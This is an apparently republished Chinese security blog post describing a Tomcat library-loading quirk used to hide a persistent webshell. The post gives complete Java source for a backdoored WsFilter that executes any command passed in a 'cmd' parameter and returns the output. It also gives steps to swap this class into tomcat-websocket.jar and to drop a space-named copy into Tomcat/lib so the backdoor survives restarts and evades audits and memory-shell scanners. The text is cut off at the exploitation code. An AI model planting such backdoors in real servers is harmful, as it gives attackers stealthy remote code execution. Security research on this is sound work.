专栏名称: WhITECat安全团队
WhITECat安全团队是起源实验室合作安全团队,主要致力于分享小组成员技术研究成果、最新的漏洞新闻、安全招聘以及其他安全相关内容。团队成员暂时由起源实验室核心成员、一线安全厂商、某研究院、漏洞盒子TOP10白帽子等人员组成。
目录
相关文章推荐
一条漫画  ·  明明是三个人的电影,我始终不能有姓名? ·  16 小时前  
安徽消保委  ·  第四届安徽特色伴手礼 | ... ·  3 天前  
安徽消保委  ·  第四届安徽特色伴手礼 | ... ·  3 天前  
一条漫画  ·  不是老婆厉害,是我的头厉害 ·  3 天前  
一条漫画  ·  老公给闺蜜花了好多钱,我怎么才能要回来 ·  3 天前  
51好读  ›  专栏  ›  WhITECat安全团队

从一个被Tomcat拒绝的漏洞到特殊内存马

WhITECat安全团队  · 公众号  ·  · 2021-11-28 20:50

正文

本文首发于先知社区:https://xz.aliyun.com/t/10577

0x01 介绍

今天研究内存马相关的东西,偶然间发现一处解析BUG

一句话来说就是: Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

不一定算得上是漏洞,不过我还是向 Tomcat 发了邮件尝试

Tomcat 果然拒绝了,原因是需要在其他漏洞的基础上触发

这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈

0x02 思路

思路来自于之前写的一篇文章:某知名Java框架内存马挖掘

从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到 Tomcat 默认存在的 Filter 中呢

使用 c0ny1 师傅的检测工具发现,任何情况都会存在 WsFilter

能否构造出一个恶意的 WsFilter 类注入到依赖库中

0x03 构造

在目标 Tomcat/lib 下找到 tomcat-websocket.jar

找到 WsFilter 的代码,在 doFilter 中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑

package org.apache.tomcat.websocket.server;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * Handles the initial HTTP connection for WebSocket connections.
 */

public class WsFilter implements Filter {

    private WsServerContainer sc;


    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
                Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
    }


    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain)
 throws IOException, ServletException 
{
        // 不改变原有逻辑,在这里插入代码
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.equals("")) {
            Process process = Runtime.getRuntime().exec(cmd);
            StringBuilder outStr = new StringBuilder();
            response.getWriter().print("
"
);
            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                outStr.append(s + "\n");
            }
            response.getWriter().print(outStr.toString());
            response.getWriter().print("
");
}

// This filter only needs to handle WebSocket upgrade requests
if (!sc.areEndpointsRegistered() ||
!UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
chain.doFilter(request, response);
return ;
}

// HTTP request with an upgrade header for WebSocket present
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;

// Check to see if this WebSocket implementation has a matching mapping
String path;
String pathInfo = req.getPathInfo();
if (pathInfo == null ) {
path = req.getServletPath();
} else {
path = req.getServletPath() + pathInfo;
}
WsMappingResult mappingResult = sc.findMapping(path);

if (mappingResult == null ) {
// No endpoint registered for the requested path. Let the
// application handle it (it might redirect or forward for example)
chain.doFilter(request, response);
return ;
}

UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
mappingResult.getPathParams());
}


@Override
public void destroy () {
// NO-OP
}
}

编译 WsFilter.java 生成 WsFilter.class 字节码文件

然后使用手段把 tomcat-websocket.jar 里的 WsFilter.class 替换了

(压缩文件本身有替换功能,也可以使用工具重打包等)

这时候启动 Tomcat 发现一切正常,但已经存在了一个“永远”的 Webshell

审计人员会想方设法审计 项目代码 本身,或者使用工具检查 内存马 是否存在

然而他们不会想到是 Tomcat 必须的 WsFilter 有问题

0x04 核心

以上逻辑 看似合理 ,实际上有很大的问题:

依赖库在 Tomcat 运行的时候被 占用 不可修改,所以要停下 Tomcat 服务,然后才能替换依赖库

如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的

但我发现了一种巧妙的方法,来自于 Tomcat Jar 包的 特殊加载顺序

(这里是 Windows Tomcat 8 的测试环境,其他环境不确定有这样的顺序)

如果我在 Tomcat/lib 下复制一个 tomcat-websocket.jar

区别在于 .jar 之前加入一个空格: tomcat-websocket .jar

这时候启动 Tomcat 会发现 tomcat-websocket .jar 被加载了

参考图片中的路径,其中包含 %20

有了突破思路

0x05 利用

假设目前有一个反序列化漏洞触发点,我们首先要做的是给 Tomcat/lib 下添加恶意库

这个库可以由黑客自行构造,然后转成二进制数据传过去

try {
    // 从standardContext中得到的resource路径是tomcat/lib






请到「今天看啥」查看全文